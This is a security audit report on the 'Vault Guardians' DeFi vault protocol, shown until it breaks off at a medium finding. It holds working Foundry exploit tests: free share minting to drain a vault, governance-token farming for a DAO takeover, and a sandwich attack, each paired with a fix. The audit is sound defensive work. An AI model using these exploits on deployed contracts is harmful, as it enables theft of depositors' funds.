



Vault Guardians Protocol Audit Report

Version 1.0

GushALKDev

January 19, 2026

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - [H-1] Missing Override of `mint()` Enables Free Share Minting and Vault Draining
 - [H-2] Guardians Can Infinitely Mint VaultGuardianTokens and Take Over DAO
 - [H-3] Missing LP Token Approval Breaks Uniswap Divest Operations
 - [H-4] WETH Vault Pair Calculation Returns `address(0)`, Breaking Core Functions
 - [H-5] Missing Zero Check for Allocations Causes Aave Revert
 - [H-6] Lack of Slippage Protection (`amountOutMin=0`) Enables Sandwich Attacks
 - [H-7] Guardian Cannot Quit Due to Missing Allowance for Redemption
 - [H-8] ETH Fees Permanently Locked in Contract
 - [H-9] `GUARDIAN_FEE` Is Not Collected in `becomeGuardian()`
 - [H-10] `s_guardianStakePrice` Scaling Issue Causes DoS for Low-Decimal Tokens (USDC)
 - [H-11] Overwriting Active Vaults Locks Funds
 - [H-12] `amountADesired` Double-Counting Can Cause `addLiquidity` to Revert
 - [H-13] Deleting Guardian Mapping Orphans Vault
 - [H-14] Users Immediate Dilution on Deposit
- Medium
 - [M-1] `votingDelay()` and `votingPeriod()` Return Seconds Instead of Blocks
 - [M-2] Using `block.timestamp` for Deadline Offers No MEV Protection
 - [M-3] Weird ERC20 Tokens May Cause `approve()` to Fail
 - [M-4] Missing Validation for `newCut` Can Cause DoS
 - [M-5] Updating Allocation Without Rebalancing Creates Discrepancy

- Low
 - [L-1] Incorrect Vault Name and Symbol for `i_tokenTwo` (LINK)
 - [L-2] Missing Return Value Assignment in `_aaveDivest()` Returns 0
 - [L-3] Wrong Error Name in `quitGuardian()`
 - [L-4] `nonReentrant` Modifier Should Be First
 - [L-5] Events Emitted After State Changes
 - [L-6] Missing Events in Critical Functions
 - [L-7] Event Emits Updated Value Instead of Old Value
- Informational
 - [I-1] Unused Interfaces and Custom Errors Should Be Removed
 - [I-2] Centralization Risks
 - [I-3] Multiple Typos in Function Names and Event Names
 - [I-4] Missing NatSpec Documentation
 - [I-5] Test Coverage Should Be Improved
 - [I-6] Incompatibility with Fee-on-Transfer Tokens
 - [I-7] Missing `indexed` Parameters in Events
 - [I-8] Solidity 0.8.20 May Not Be Compatible With All L2 Networks
 - [I-9] Missing Zero Amount Checks
- Gas
 - [G-1] Functions Could Be Marked `external`
 - [G-2] Modifiers Can Be Wrapped in Internal Functions
 - [G-3] Cache State Variables in Loops

Protocol Summary

This protocol allows users to deposit certain ERC20s (WETH, USDC, LINK) into an ERC4626 vault managed by a human being called a Vault Guardian. The goal of a Vault Guardian is to manage the vault through strategic investments in Aave and Uniswap V2, maximizing value for depositors. Guardians stake tokens to participate and receive governance tokens (VGT) for DAO participation.

Disclaimer

GushALKDev makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not

an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 e07540037ef1dd89e2e27b090fc21f7aa6e51c4f
```

Scope

The review focused on the core vault logic, guardian management, and DeFi integrations (Aave, Uniswap).

In-scope files:

- `src/protocol/VaultShares.sol`
- `src/protocol/VaultGuardians.sol`
- `src/protocol/VaultGuardiansBase.sol`
- `src/protocol/investableUniverseAdapters/AaveAdapter.sol`
- `src/protocol/investableUniverseAdapters/UniswapAdapter.sol`
- `src/dao/VaultGuardianGovernor.sol`
- `src/dao/VaultGuardianToken.sol`

- `src/abstract/AStaticTokenData.sol`
- `src/abstract/AStaticUSDCData.sol`
- `src/abstract/AStaticWethData.sol`
- `src/interfaces/IVaultData.sol`
- `src/interfaces/IVaultShares.sol`

Out of scope:

- Deployment scripts and infrastructure (`script/`, `Makefile`, CI, etc.)
- Third-party dependencies under `lib/` (assumed correct as imported)
- Vendor interfaces (`src/vendor/`)

Roles

- **Vault Guardian DAO (Owner):** Controls protocol parameters via governance. Can update `s_guardianStakePrice`, `s_guardianAndDaoCut`, and call `sweepErc20s()`.
- **DAO Participants:** Holders of `VaultGuardianToken` who vote on protocol changes.
- **Vault Guardians:** Strategists who manage vault allocations between Aave/Uniswap. Stake tokens to create vaults and receive VGT tokens.
- **Investors:** Deposit assets into vaults to gain yield from Guardian strategies.

Executive Summary

Issues found

The codebase contains several critical vulnerabilities in its core ERC4626 implementation, DeFi integrations, and governance logic. The most severe issues include: (1) a missing `mint()` override that allows attackers to mint shares for free when funds are invested, (2) infinite `VaultGuardianToken` farming enabling DAO takeover, and (3) multiple missing approvals that break Uniswap operations.

The protocol's design of divesting/investing all funds on every operation leads to broken `totalAssets()` accounting, which is the root cause of the share minting vulnerability.

Severity	Number of issues found
High	14
Medium	5
Low	7

Severity	Number of issues found
Info	9
Gas	3
Total	38

Findings

High

[H-1] Missing Override of `mint()` Enables Free Share Minting and Vault Draining

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: The `VaultShares` contract overrides `deposit()` from ERC4626 but fails to override `mint()`. The `deposit()` function includes the `divestThenInvest` modifier and fee minting logic, but `mint()` uses the default ERC4626 implementation which relies on `previewMint()`.

When funds are invested in Aave/Uniswap, `totalAssets()` returns ~0 (only local balance), causing `previewMint()` to calculate near-zero cost for minting shares.

```
1 // ERC4626 default - NOT overridden in VaultShares
2 function previewMint(uint256 shares) public view virtual returns (
    uint256) {
3     return shares.mulDiv(totalAssets() + 1, totalSupply() + offset,
        Math.Rounding.Ceil);
4 }
5 // When totalAssets = 0 but totalSupply > 0:
6 // assets = shares x 1 / (totalSupply + 1) ~= 0
```

Impact: An attacker can mint shares for essentially free (1 wei) when funds are invested, then call `redeem()` (which triggers `divestThenInvest` bringing funds back) to drain the vault.

Proof of Concept:

PoC

Place the following test in `VaultGuardiansTest.t.sol`:

```
1 function test_exploitMintTheft() public {
2     uint256 victimAmount = 10 ether;
```

```
3
4 // Setup Vault with 100% Aave allocation
5 AllocationData memory aaveAllocation = AllocationData(0, 0, 1000);
6 uint256 stakePrice = vaultGuardians.getGuardianStakePrice();
7 deal(address(weth), user, stakePrice);
8
9 vm.startPrank(user);
10 weth.approve(address(vaultGuardians), stakePrice);
11 address vaultAddr = vaultGuardians.becomeGuardian(aaveAllocation);
12 VaultShares vault = VaultShares(vaultAddr);
13 vm.stopPrank();
14
15 // Victim Deposits
16 address victim = makeAddr("victim");
17 deal(address(weth), victim, victimAmount);
18 vm.startPrank(victim);
19 weth.approve(address(vault), victimAmount);
20 vault.deposit(victimAmount, victim);
21 vm.stopPrank();
22
23 // Attacker exploits
24 address attacker = makeAddr("attacker");
25 deal(address(weth), attacker, 1 ether);
26
27 vm.startPrank(attacker);
28 weth.approve(address(vault), type(uint256).max);
29
30 // Check state before attack
31 uint256 totalAssetsBeforeAttack = vault.totalAssets(); // Should be
    ~0
32 uint256 sharesToMint = vault.totalSupply();
33 uint256 costToMint = vault.previewMint(sharesToMint); // Should be
    ~0
34
35 // EXECUTE MINT (Pays ~0 WETH)
36 vault.mint(sharesToMint, attacker);
37
38 // REDEEM (triggers divestThenInvest, brings funds back)
39 uint256 attackerShares = vault.balanceOf(attacker);
40 uint256 stolen = vault.redeem(attackerShares, attacker, attacker);
41 vm.stopPrank();
42
43 assertGt(stolen, victimAmount / 2, "Attacker should steal
    significant funds");
44 }
```

Note: Requires AavePoolMock fixes for aToken minting/burning.

Recommended Mitigation: Override `mint()` with the same protections as `deposit()`:

```
1 + function mint(uint256 shares, address receiver)
```

```
2 + public
3 + override(ERC4626, IERC4626)
4 + isActive
5 + divestThenInvest
6 + nonReentrant
7 + returns (uint256)
8 + {
9 +     uint256 assets = super.mint(shares, receiver);
10 +     _mint(i_guardian, shares / i_guardianAndDaoCut);
11 +     _mint(i_vaultGuardians, shares / i_guardianAndDaoCut);
12 +     return assets;
13 + }
```

[H-2] Guardians Can Infinitely Mint VaultGuardianTokens and Take Over DAO

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: When a user becomes a guardian via `_becomeTokenGuardian()`, they receive Vault-GuardianTokens (VGT). When they quit via `quitGuardian()`, they get their stake back but **keep the VGT tokens**. This allows farming unlimited governance tokens.

```
1 function _becomeTokenGuardian(IERC20 token, VaultShares tokenVault)
    private returns (address) {
2     s_guardians[msg.sender][token] = IVaultShares(address(tokenVault));
3     i_vgToken.mint(msg.sender, s_guardianStakePrice); // Mints VGT
4     // ...
5 }
6
7 function _quitGuardian(IERC20 token) private returns (uint256) {
8     // Returns stake but VGT is NOT burned
9     // ...
10 }
```

Impact: A malicious actor can accumulate enough VGT tokens to control the DAO governance, enabling them to: - Call `sweepErc20s()` to steal all ERC20 fees - Call `updateGuardianAndDaoCut()` to set malicious parameters - Call `updateGuardianStakePrice()` to set price to 0

Proof of Concept:

PoC

```
1 function test_exploitInfiniteGovernanceMinting() public {
2     address maliciousGuardian = makeAddr("maliciousGuardian");
3     weth.mint(mintAmount, maliciousGuardian);
```

```
4
5     VaultGuardianGovernor governor = VaultGuardianGovernor(payable(
6         vaultGuardians.owner()));
7     VaultGuardianToken vgToken = VaultGuardianToken(address(governor.
8         token()));
9
10    uint256 startingBalance = vgToken.balanceOf(maliciousGuardian);
11
12    vm.startPrank(maliciousGuardian);
13    for (uint256 i; i < 10; i++) {
14        weth.approve(address(vaultGuardians), weth.balanceOf(
15            maliciousGuardian));
16        address vault = vaultGuardians.becomeGuardian(allocationData);
17        IERC20(vault).approve(address(vaultGuardians), IERC20(vault).
18            balanceOf(maliciousGuardian));
19        vaultGuardians.quitGuardian();
20    }
21    vm.stopPrank();
22
23    uint256 endingBalance = vgToken.balanceOf(maliciousGuardian);
24    assertGt(endingBalance, startingBalance * 10);
25 }
```

Recommended Mitigation: Burn VGT tokens when a guardian quits:

```
1 function _quitGuardian(IERC20 token) private returns (uint256) {
2     IVaultShares tokenVault = IVaultShares(s_guardians[msg.sender][
3         token]);
4     + i_vgToken.burn(msg.sender, s_guardianStakePrice);
5     // ...
6 }
```

[H-3] Missing LP Token Approval Breaks Uniswap Divest Operations

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: In `UniswapAdapter::_uniswapDivest()`, the vault calls `removeLiquidity()` which requires the router to spend LP tokens via `transferFrom`. However, the vault never approves the router to spend its LP tokens.

Impact: All operations that trigger `divestThenInvest` will revert for vaults with Uniswap allocation, including: - `quitGuardian()` - `redeem()` - `withdraw()` - `rebalanceFunds()`

Proof of Concept:

Proof of Concept:

PoC

```
1  /**
2   * @notice Demonstrates H-3: Missing LP Token Approval.
3   * When a guardian quits (or any divest action occurs), the contract
4   * calls
5   * uniswapRouter.removeLiquidity. This REVERTS because the vault has
6   * not approved
7   * the router to spend the LP tokens.
8   */
9  function test_quitGuardianRevertsDueToMissingLpApproval() public {
10     // 1. Setup a vault with Uniswap allocation (non-WETH to isolate
11     //    from H-4)
12     // Seed 1, 2, TokenSeed 1 (USDC)
13     (VaultShares vault, , IERC20 token) = _createGuardianVault(1, 2, 1)
14     ;
15     vm.startPrank(user);
16     // 2. Try to quit. This triggers _divestFunds -> _uniswapDivest ->
17     //    removeLiquidity
18     // EXPECT REVERT due to "TransferHelper: TRANSFER_FROM_FAILED" (
19     //    lack of approval)
20     vm.expectRevert();
21     vaultGuardians.quitGuardian(token);
22     vm.stopPrank();
23 }
```

Recommended Mitigation: Add approval before `removeLiquidity()`:

```
1  function _uniswapDivest(IERC20 token, uint256 liquidityAmount) internal
2     returns (uint256) {
3     IERC20 counterPartyToken = token == i_weth ? i_tokenOne : i_weth;
4     +   address lpToken = i_uniswapFactory.getPair(address(token), address(
5     +   counterPartyToken));
6     +   IERC20(lpToken).approve(address(i_uniswapRouter), liquidityAmount);
7     (uint256 amountToken, uint256 amountCounterPartyToken) =
8         i_uniswapRouter.removeLiquidity({
9         // ...
10    });
11 }
```

[H-4] WETH Vault Pair Calculation Returns address(0), Breaking Core Functions**IMPACT:** HIGH**LIKELIHOOD:** HIGH

Description: In `VaultShares` constructor, when the asset is WETH, the code calls `getPair(WETH, WETH)` which returns `address(0)`:

```
1 i_uniswapLiquidityToken = IERC20(i_uniswapFactory.getPair(address(
    constructorData.asset), address(i_weth)));
2 // When asset == WETH: getPair(WETH, WETH) = address(0)
```

The `divestThenInvest` modifier then calls `balanceOf(address(0))`, causing reverts.

Impact: WETH vaults cannot execute `quitGuardian()`, `redeem()`, `withdraw()`, or `deposit()`.

Proof of Concept:

PoC

```
1 /**
2  * @notice Demonstrates H-4: WETH Vault Pair Calculation Bug.
3  * When the asset is WETH, the constructor incorrectly calculates the
4  * pair address as address(0).
5  * This causes immediate reverts on any function using `
6  *   divestThenInvest` (deposit, withdraw, etc).
7  */
8 function test_wethVaultBrokenPairAddress() public {
9     AllocationData memory allocationData = AllocationData(0, 1000, 0);
10    // 100% Uniswap
11    uint256 stakePrice = vaultGuardians.getGuardianStakePrice();
12    deal(address(weth), user, stakePrice);
13
14    vm.startPrank(user);
15    weth.approve(address(vaultGuardians), stakePrice);
16
17    // 1. Create a WETH Vault
18    address vaultAddr = vaultGuardians.becomeGuardian(allocationData);
19    VaultShares vault = VaultShares(vaultAddr);
20
21    // 2. Try to deposit. Ideally looking for "ERC20: transfer from the
22    //   zero address"
23    // or similar revert because LP token is address(0).
24    vm.expectRevert();
25    vault.deposit(1 ether, user);
26
27    vm.stopPrank();
28 }
```

Recommended Mitigation: Use USDC as counterparty when asset is WETH:

```
1 - i_uniswapLiquidityToken = IERC20(i_uniswapFactory.getPair(address(
    constructorData.asset), address(i_weth)));
2 + address pairToken = address(constructorData.asset) == address(i_weth)
3 +   ? address(i_tokenOne)
4 +   : address(i_weth);
5 + i_uniswapLiquidityToken = IERC20(i_uniswapFactory.getPair(address(
    constructorData.asset), pairToken));
```

[H-5] Missing Zero Check for Allocations Causes Aave Revert

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: In `VaultShares::_investFunds()`, when `uniswapAllocation` or `aaveAllocation` is 0, the adapters are called with `amount=0`. Aave rejects `supply(0)` with error 26 (`INVALID_AMOUNT`).

Impact: `becomeGuardian()` and `deposit()` revert for any allocation where one component is 0%.

Proof of Concept:

PoC

```
1 /**
2  * @notice Checks proper guardian registration with random allocations.
3  * Verifies correct asset distribution across Hold, Uniswap, and Aave
4  * using Mainnet Fork.
5  */
6 function testFuzz_becomeGuardian(uint256 seed1, uint256 seed2, uint256
    tokenSeed) public {
7     (VaultShares vault, AllocationData memory allocationData, IERC20
8         token) = _createGuardianVault(seed1, seed2, tokenSeed);
9     uint256 stakePrice = vaultGuardians.getGuardianStakePrice();
10
11     // Allocation Data
12     AllocationData memory actualAllocationData = vault.
13         getAllocationData();
14
15     // Assertions
16     assertEq(actualAllocationData.holdAllocation, allocationData.
17         holdAllocation);
18     assertEq(actualAllocationData.uniswapAllocation, allocationData.
19         uniswapAllocation);
```

```
15     assertEq(actualAllocationData.aaveAllocation, allocationData.  
16         aaveAllocation);  
16     assertEq(vault.getGuardian(), user);  
17  
18     // Assets on hold should be at least the allocation (may have dust  
19         from Uniswap swaps)  
19     assertGe(token.balanceOf(address(vault)), (stakePrice *  
20         allocationData.holdAllocation) / 1000);  
20 }
```

Recommended Mitigation:

```
1  function _investFunds(uint256 assets) private {  
2      uint256 uniswapAllocation = (assets * s_allocationData.  
3          uniswapAllocation) / ALLOCATION_PRECISION;  
4      uint256 aaveAllocation = (assets * s_allocationData.aaveAllocation)  
5          / ALLOCATION_PRECISION;  
6  
7      emit FundsInvested();  
8  
9      - _uniswapInvest(IERC20(asset()), uniswapAllocation);  
10     - _aaveInvest(IERC20(asset()), aaveAllocation);  
11     + if (uniswapAllocation > 0) {  
12     +     _uniswapInvest(IERC20(asset()), uniswapAllocation);  
13     + }  
14     + if (aaveAllocation > 0) {  
15     +     _aaveInvest(IERC20(asset()), aaveAllocation);  
16     + }  
17 }
```

[H-6] Lack of Slippage Protection (amountOutMin=0) Enables Sandwich Attacks**IMPACT:** HIGH**LIKELIHOOD:** MEDIUM/HIGH**Description:** In `UniswapAdapter::_uniswapInvest()`, `swapExactTokensForTokens()` is called with `amountOutMin: 0`:

```
1  uint256[] memory amounts = i_uniswapRouter.swapExactTokensForTokens({  
2      amountIn: amountOfTokenToSwap,  
3      amountOutMin: 0, // @audit - No slippage protection  
4      path: s_pathArray,  
5      to: address(this),  
6      deadline: block.timestamp  
7  });
```

Impact: MEV bots can sandwich-attack every deposit, extracting maximum value from users.

Proof of Concept:

PoC

```
1  /**
2   * @notice PoC: General Sandwich Attack demonstration (Swap).
3   * Shows how setting `amountOutMin: 0` during a swap allows an attacker
4   * to front-run (pump price)
5   * and back-run (dump price), extracting value from the victim's trade.
6   */
7  function testFrontRunningWithAmountOutMinZero() public {
8      address[] memory path1 = new address[](2);
9      path1[0] = address(weth);
10     path1[1] = address(usdc);
11
12     address[] memory path2 = new address[](2);
13     path2[0] = address(usdc);
14     path2[1] = address(weth);
15
16     deal(address(weth), user, 500e18);
17     deal(address(weth), attacker, 2000e18);
18
19     uint256 attackerWethBalanceBefore = weth.balanceOf(attacker);
20
21     // Attacker jumps ahead (Front-run)
22     // Sells WETH and buys USDC to push USDC price up.
23     vm.startPrank(attacker);
24     weth.approve(address(uniswapR), type(uint256).max);
25     uniswapR.swapExactTokensForTokens(
26         weth.balanceOf(attacker),
27         0,
28         path1,
29         attacker,
30         block.timestamp);
31     vm.stopPrank();
32
33     // User executes swap (Victim)
34     // Sells WETH for USDC. Since amountOutMin is 0, they accept ANY
35     // amount of USDC.
36     // Receives LESS USDC than normal because price is inflated by
37     // attacker.
38     vm.startPrank(user);
39     weth.approve(address(uniswapR), type(uint256).max);
40     uniswapR.swapExactTokensForTokens(
41         weth.balanceOf(user),
42         0, // BIG MISTAKE: Accepting 0 means "give me whatever", ideal
43         for sandwich attacks.
44         path1,
45         user,
46         block.timestamp);
```

```
43     vm.stopPrank();
44
45     // Attacker sells (Back-run)
46     // Sells their USDC (now more expensive) for WETH and takes profits
47     vm.startPrank(atacker);
48     usdc.approve(address(uniswapR), type(uint256).max);
49     uniswapR.swapExactTokensForTokens(
50         usdc.balanceOf(atacker),
51         0,
52         path2,
53         atacker,
54         block.timestamp);
55     vm.stopPrank();
56
57     uint256 attackerWethBalanceAfter = weth.balanceOf(atacker);
58
59     console2.log("Attacker Profit (in WETH): ",
60         attackerWethBalanceAfter - attackerWethBalanceBefore);
61 }
```

Recommended Mitigation: Use a Chainlink oracle price feed to calculate a safe `amountOutMin`:

```
1 + uint256 expectedOut = getChainlinkPrice(token, counterPartyToken) *
   amountOfTokenToSwap;
2 + uint256 amountOutMin = expectedOut * 95 / 100; // 5% slippage
   tolerance
3
4 uint256[] memory amounts = i_uniswapRouter.swapExactTokensForTokens({
5     amountIn: amountOfTokenToSwap,
6     amountOutMin: 0,
7     amountOutMin: amountOutMin,
8     path: s_pathArray,
9     to: address(this),
10    deadline: block.timestamp
11 });
```

[H-7] Guardian Cannot Quit Due to Missing Allowance for Redemption

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: In `_quitGuardian()`, `VaultGuardians` calls `tokenVault.redeem()` on behalf of the guardian. However, `msg.sender` is `VaultGuardians`, not the guardian. ERC4626 requires allowance when `msg.sender != owner`, causing `ERC20InsufficientAllowance` revert.

```
1 function _quitGuardian(IERC20 token) private returns (uint256) {
2     // ...
3     uint256 maxRedeemable = tokenVault.maxRedeem(msg.sender);
4     // This reverts because VaultGuardians has no allowance
5     uint256 numberOfAssetsReturned = tokenVault.redeem(maxRedeemable,
6         msg.sender, msg.sender);
7     return numberOfAssetsReturned;
8 }
```

Impact: Guardians are permanently locked and cannot withdraw their stake.

Proof of Concept:

PoC

```
1 /**
2  * @notice Demonstrates H-7: Guardian Cannot Quit (Missing Allowance).
3  * Even if H-3 (Uniswap) and H-4 (WETH) are fixed, this test shows that
4  * VaultGuardians cannot redeem shares on behalf of the user because it
5  * lacks allowance.
6  */
7 function test_quitGuardianRevertsDueToAllowance() public {
8     // Allocation: 100% Hold to avoid H-3 and H-4 issues
9     AllocationData memory holdOnly = AllocationData(1000, 0, 0);
10
11     (VaultShares vault, , IERC20 token) =
12         _createGuardianVaultWithAllocation(holdOnly);
13
14     vm.startPrank(user);
15
16     // 1. Try to quit. VaultGuardians calls `tokenVault.redeem`.
17     // EXPECT REVERT: ERC20: insufficient allowance
18     // because msg.sender (VaultGuardians) is trying to burn user's
19     // shares.
20     vm.expectRevert("ERC20: insufficient allowance");
21
22     if (address(token) == address(weth)) {
23         vaultGuardians.quitGuardian();
24     } else {
25         vaultGuardians.quitGuardian(token);
26     }
27
28     vm.stopPrank();
29 }
```

Recommended Mitigation: Add a bypass in `VaultShares.redeem()`:

```
1 function redeem(uint256 shares, address receiver, address owner) public
2     override returns (uint256) {
3     + if (msg.sender == i_vaultGuardians && owner == i_guardian) {
4     +     uint256 assets = previewRedeem(shares);
```

```
4 +     _burn(owner, shares);
5 +     IERC20(asset()).safeTransfer(receiver, assets);
6 +     emit Withdraw(msg.sender, receiver, owner, assets, shares);
7 +     return assets;
8 + }
9     return super.redeem(shares, receiver, owner);
10 }
```

[H-8] ETH Fees Permanently Locked in Contract

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: The `VaultGuardians` contract is designed to receive ETH from `becomeGuardian()` as the `GUARDIAN_FEE`, but there is no function to withdraw this ETH.

Impact: All ETH guardian fees are permanently locked in the contract.

Recommended Mitigation:

```
1 + function withdrawEth() external onlyOwner {
2 +     uint256 balance = address(this).balance;
3 +     (bool success,) = owner().call{value: balance}("");
4 +     require(success, "Transfer failed");
5 + }
```

[H-9] GUARDIAN_FEE Is Not Collected in becomeGuardian()

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: The constant `GUARDIAN_FEE` is defined as `0.1 ether` in `VaultGuardiansBase.sol`. Code comments state “they have to send an ETH amount equal to the fee”. However, the `becomeGuardian()` function is not `payable` and does not check `msg.value`.

```
1 // VaultGuardiansBase.sol
2 uint256 private constant GUARDIAN_FEE = 0.1 ether;
```

```
3
4 // Function is not payable and missing require(msg.value ==
  GUARDIAN_FEE)
5 function becomeGuardian(AllocationData memory wethAllocationData)
  external returns (address) {
6     // ...
7 }
```

Impact: The protocol loses revenue (0.1 ETH per guardian), and malicious actors can spam the creation of vaults for free (DoS risk), bypassing the intended economic barrier.

Proof of Concept:

PoC

```
1 function test_becomeGuardianDoesNotPayFee() public {
2     AllocationData memory allocationData = AllocationData(1000, 0, 0);
3     uint256 stakePrice = vaultGuardians.getGuardianStakePrice();
4     deal(address(weth), user, stakePrice);
5
6     vm.startPrank(user);
7     weth.approve(address(vaultGuardians), stakePrice);
8
9     uint256 balanceBefore = address(vaultGuardians).balance;
10
11     // Call without sending ETH value
12     vaultGuardians.becomeGuardian(allocationData);
13
14     uint256 balanceAfter = address(vaultGuardians).balance;
15
16     // Fee was NOT collected
17     assertEq(balanceAfter, balanceBefore);
18     vm.stopPrank();
19 }
```

Recommended Mitigation:

1. Make `becomeGuardian` payable.
2. Require `msg.value >= GUARDIAN_FEE`.

```
1 - function becomeGuardian(AllocationData memory wethAllocationData)
  external returns (address) {
2 + function becomeGuardian(AllocationData memory wethAllocationData)
  external payable returns (address) {
3 +     if (msg.value < GUARDIAN_FEE) revert
  VaultGuardians__InsufficientInfoFees();
4     // ...
5 }
```

[H-10] `s_guardianStakePrice` Scaling Issue Causes DoS for Low-Decimal Tokens (USDC)**IMPACT:** HIGH**LIKELIHOOD:** HIGH

Description: The protocol uses a single global logical variable `s_guardianStakePrice` (default `10 ether = 10e18`) for all tokens. When a guardian registers for a non-WETH token via `becomeTokenGuardian()`, they must stake this amount of *that specific token*.

For USDC (6 decimals), `10e18` raw units equals **10 trillion USDC** (\$10,000,000,000,000). This is an impossible amount for any user, effectively making it impossible to create USDC vaults.

```
1 // VaultGuardiansBase.sol
2 token.transferFrom(msg.sender, address(this), s_guardianStakePrice);
```

Impact: Complete denial of service for any token with decimals < 18 (like USDC, WBTC).

Recommended Mitigation: Maintain separate stake prices for each token or normalize decimals dynamically.

```
1 uint256 requiredStake = s_guardianStakePrice * (10 ** token.decimals())
  / 1e18;
```

[H-11] Overwriting Active Vaults Locks Funds**IMPACT:** HIGH**LIKELIHOOD:** MEDIUM

Description: The `becomeTokenGuardian` function does not check if the user is already a guardian for the specified token. If an existing guardian calls this function again for the same token, the `s_guardians[msg.sender][token]` mapping is overwritten with the new vault address.

The previous vault address is lost from the registry. Since `quitGuardian` relies on this mapping to identify which vault to close, the funds in the previous vault become permanently locked (guardian cannot quit, users cannot withdraw via standard UI paths that rely on the registry).

Impact: Permanent locking of funds for the previous vault if a guardian re-registers.

Proof of Concept: 1. Guardian creates Vault A for WETH. 2. Guardian calls `becomeGuardian` again for WETH. 3. Vault B is created and stored in `s_guardians`. 4. Vault A is orphaned. Guardian cannot call `quitGuardian` for Vault A.

Recommended Mitigation: Add a check to ensure the guardian does not already have an active vault for that token.

```
1 if (address(s_guardians[msg.sender][token]) != address(0)) {  
2     revert VaultGuardians__AlreadyGuardianForToken();  
3 }
```

[H-12] amountADesired Double-Counting Can Cause addLiquidity to Revert

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: In `_uniswapInvest()`, `amountADesired` is set to `amountOfTokenToSwap + amounts[0]`. However, `amounts[0]` represents the input amount of tokens already swapped away. The contract no longer holds this sum.

This is a double-counting error. The router sees `amountADesired > balanceOf(contract)`, so the transaction reverts with insufficient funds.

```
1 // UniswapAdapter.sol  
2 amountADesired: amountOfTokenToSwap + amounts[0], // Error: Double  
   counting
```

Proof of Concept:

PoC

```
1 function test_becomeGuardianUniswapAmountADesiredDoubled() public {  
2     // Allocation: 0% Hold, 100% Uniswap, 0% Aave  
3     AllocationData memory allocationData = AllocationData(0, 1000, 0);  
4  
5     // Deal large amount to user to cover stake  
6     uint256 stakePrice = vaultGuardians.getGuardianStakePrice();  
7     deal(address(weth), user, stakePrice);  
8  
9     vm.startPrank(user);  
10    weth.approve(address(vaultGuardians), stakePrice);  
11  
12    // This call will fail with "ERC20: transfer amount exceeds balance  
    // " or similiar  
13    // because Uniswap router tries to pull `amountADesired` which is  
    inflated.
```

```
14
15     // Expected behavior: Revert due to insufficient balance for the
    inflated amount
16     vm.expectRevert();
17     vaultGuardians.becomeGuardian(allocationData);
18
19     vm.stopPrank();
20 }
```

Impact: Complete broken `_uniswapInvest`. Any guardian strategy involving Uniswap allocation will revert, causing a DoS for `becomeGuardian` and `deposit`.

Recommended Mitigation:

```
1 - amountADesired: amountOfTokenToSwap + amounts[0],
2 + amountADesired: amountOfTokenToSwap,
```

[H-13] Deleting Guardian Mapping Orphans Vault

IMPACT: HIGH

LIKELIHOOD: MEDIUM

Description: In `_quitGuardian()`, the contract sets `s_guardians[msg.sender][token] = address(0)`. This effectively deletes the unique reference link to the specific vault contract.

```
1 // VaultGuardiansBase.sol
2 s_guardians[msg.sender][token] = address(0);
```

Impact: If a vault still holds user funds when the guardian quits, those funds become “orphaned”. Users who rely on the protocol’s registry to find their vault address will see `address(0)` and cannot easily withdraw. While funds are not technically locked in the contract (they are in the vault), the loss of the registry pointer makes them inaccessible for standard users.

Recommended Mitigation: Do not delete the mapping. Only mark the vault as inactive.

```
1 - s_guardians[msg.sender][token] = address(0);
```

[H-14] Users Immediate Dilution on Deposit

IMPACT: HIGH

LIKELIHOOD: HIGH

Description: When a user deposits, the vault mints shares for them, but ALSO mints extra shares for the Guardian and the DAO as “fees”. These extra shares are **added on top** of the user’s shares, but the assets remain the same.

```
1 // VaultShares.sol
2 _mint(receiver, shares); // User gets 100%
3 _mint(i_guardian, shares / i_guardianAndDaoCut); // Extra mint
4 _mint(i_vaultGuardians, shares / i_guardianAndDaoCut); // Extra mint
```

This inflates the total supply immediately after the user’s deposit. Example: 1. Vault empty. 2. User deposits 100 Assets. Expects 100 Shares (1:1). 3. Vault mints 100 Shares to User. Total Supply = 100. 4. Vault mints 10 Shares to Guardian + 10 to DAO. 5. Total Supply = 120. Assets = 100. 6. Share Price = 100 / 120 = 0.83. 7. User instantly lost 17% of value.

Impact: Immediate and guaranteed loss of funds for every depositor.

Recommended Mitigation: The fee shares must be **deducted** from the user’s shares, not minted on top.

```
1 - _mint(receiver, shares);
2 + uint256 feeShares = (shares / i_guardianAndDaoCut) * 2;
3 + _mint(receiver, shares - feeShares);
4 + _mint(i_guardian, feeShares / 2);
5 + _mint(i_vaultGuardians, feeShares / 2);
```

Medium

[M-1] `votingDelay()` and `votingPeriod()` Return Seconds Instead of Blocks

IMPACT: LOW

LIKELIHOOD: HIGH

Description: In `VaultGuardianGovernor`, the functions return 1 `days` and 7 `days` which are interpreted as seconds (86400 and 604800). OpenZeppelin Governor expects block numbers.

```
1 function votingDelay() public pure override returns (uint256) {
2     return 1 days; // 86400 seconds, interpreted as 86,400 blocks (~12
      days)
3 }
4
5 function votingPeriod() public pure override returns (uint256) {
6     return 7 days; // 604800 seconds, interpreted as 604,800 blocks
      (~84 days)
```

```
7 }
```

Impact: Voting delay is ~12 days instead of 1 day. Voting period is ~84 days instead of 7 days.

Recommended Mitigation:

```
1 function votingDelay() public pure override returns (uint256) {
2 -   return 1 days;
3 +   return 7200; // ~1 day at 12s/block
4 }
5
6 function votingPeriod() public pure override returns (uint256) {
7 -   return 7 days;
8 +   return 50400; // ~7 days at 12s/block
9 }
```

[M-2] Using `block.timestamp` for Deadline Offers No MEV Protection

IMPACT: HIGH

LIKELIHOOD: LOW

